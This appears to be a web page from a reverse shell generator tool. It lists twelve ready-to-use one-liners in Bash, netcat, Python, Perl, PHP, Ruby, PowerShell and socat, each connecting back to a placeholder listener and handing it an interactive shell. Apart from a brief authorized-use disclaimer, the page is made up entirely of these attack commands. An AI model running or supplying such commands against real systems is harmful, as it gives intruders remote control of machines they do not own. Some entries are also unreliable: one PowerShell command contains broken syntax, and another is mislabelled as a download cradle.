GhostShells — reverse shell generator

Only generate text client-side. No payloads are executed. Use strictly for educational purposes and authorized security testing on systems you own or have explicit permission to assess.

Reverse shells

12 found
  • Bash -i
    bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
  • Bash UDP
    bash -i >& /dev/udp/127.0.0.1/4444 0>&1
  • nc mkfifo
    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc 127.0.0.1 4444 >/tmp/f
  • nc -e
    nc 127.0.0.1 4444 -e bash
  • ncat -e
    ncat 127.0.0.1 4444 -e bash
  • Python
    python3 -c 'import socket,subprocess,os; s=socket.socket(); s.connect(("127.0.0.1",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["bash","-i"])'
  • Perl
    perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};'
  • PHP
    php -r '$sock=fsockopen("127.0.0.1",4444);exec("bash -i <&3 >&3 2>&3");'
  • Ruby
    ruby -rsocket -e 'f=TCPSocket.open("127.0.0.1",4444).to_i; exec sprintf("bash -i <&%d >&%d 2>&%d",f,f,f)'
  • PowerShell #1
    powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$s=$client.GetStream();[byte[]]$b=0..65535|%%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String);$sb2=$sb+"PS "+(pwd).Path+"> ";$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()}$client.Close()
  • PowerShell iex download cradle
    powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  • socat (TTY)
    socat TCP:127.0.0.1:4444 EXEC:"bash",pty,stderr,setsid,sigint,sane